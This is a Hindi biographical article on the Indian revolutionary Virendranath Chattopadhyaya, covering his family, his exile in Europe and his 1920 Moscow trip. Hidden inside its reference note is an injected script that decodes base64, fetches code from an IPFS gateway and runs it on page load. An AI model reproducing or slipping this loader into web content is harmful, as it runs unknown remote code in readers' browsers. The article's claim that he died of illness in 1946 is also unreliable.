वीरेंद्र नाथ चटर्जी

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वीरेंद्र नाथ चटर्जी (जन्म- ढाका, मृत्यु- 1946) अंतर्राष्ट्रीय ख्याति के प्रसिद्ध क्रांतिकारी एवं स्वतंत्रता सेनानी थे। वे जीवन पर्यंत विदेशों में इसलिए भटकते रहे कि किसी प्रकार अंग्रेजी साम्राज्यवाद को भारत से उखाड़ फेंका जाए।

परिचय

अंतर्राष्ट्रीय ख्याति के प्रसिद्ध क्रांतिकारी वीरेंद्र नाथ चटर्जी का जन्म ढाका के एक प्रसिद्ध परिवार में हुआ था। उनके पिता डॉक्टर अद्योरनाथ चटर्जी निजाम कॉलेज, हैदराबाद में प्रोफ़ेसर थे। भारत कोकिला श्रीमती सरोजिनी नायडू वीरेंद्रनाथ की बहन थी। पद्मजा नायडू इनकी भतीजी थीं जो स्वतंत्रता के बाद पश्चिम बंगाल की राज्यपाल रहीं। पिता ने उन्हें आई. सी. एस. की परीक्षा पास करने के लिए लंदन भेजा था। उसमें सफलता न मिलने पर वीरेंद्र कानून की पढ़ाई करने लगे। इसी वक्त चटर्जी का संपर्क सावरकर से हुआ और उनके जीवन की दिशा बदल गई। राजा महेंद्र प्रताप, मदाम भिकाजी कामा, लाला हरदयाल, श्यामजी कृष्ण वर्मा आदि के संपर्क का भी इन पर प्रभाव पड़ा।[1]

गतिविधियां

वीरेंद्र नाथ चटर्जी की राजनीतिक गतिविधियों को देखकर उन्हें लॉ कॉलेज से निष्कासित कर दिया गया। निष्कासित होने के बाद वे पूरी तरह से भारत को स्वतंत्र कराने के पक्ष में जुट गये। जर्मनी और रूस की यात्रा इसी उद्देश्य से की। चटर्जी पेरिस में मदाम भीखाजी कामा के 'वंदेमातरम' समूह से भी जुड़े रहे। इसी समय वे कम्युनिस्ट विचारों के प्रभाव में आ गये। प्रथम विश्वयुद्ध के बाद सोवियत क्रांति की ओर भारत के अन्य क्रांतिकारियों का भी आकर्षण हुआ।

रूस यात्रा

1920 में रूस समर्थक क्रांतिकारियों के नेता के रूप में वीरेंद्र नाथ चटर्जी ने मास्को की यात्रा की। लेनिन और ट्राटस्की इनसे बहुत प्रभावित हुए। मास्को में उन्होंने भारत की आजादी के लिए एक संगठन बनाने का प्रयत्न किया। आपस में मतभेद हो जाने से यह काम आगे नहीं बढ़ सका। वीरेंद्र नाथ का कहना था कि अभी भारत की परिस्थितियां सर्वहारा क्रांति के अनुकूल नहीं है, अतः हमें राष्ट्रीय स्वतंत्रता आंदोलन का समर्थन करना चाहिए । लेनिन उनके इस विचार से सहमत थे। परन्तु अन्य के सहमत न होने से इसमें प्रगति नहीं हो सकी।

शेष जीवन

अनुमान है कि वीरेंद्र नाथ चटर्जी का शेष जीवन रूस में ही बीता यद्यपि इसका कोई पक्का सबूत उपलब्ध नहीं है। कुछ लोगों का कहना है कि ट्राटस्की से चटर्जी की निकटता देखकर स्टालिन ने उन्हें जेल में डलबा दिया था। यह भी कहा जाता है कि अपने जीवन के अंतिम दिनों में उन्होंने सोवियत संघ की नागरिकता ले ली थी।

मृत्यु

बताया जाता है कि बीमारी के कारण वीरेंद्र नाथ चटर्जी का 1946 में निधन हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 813 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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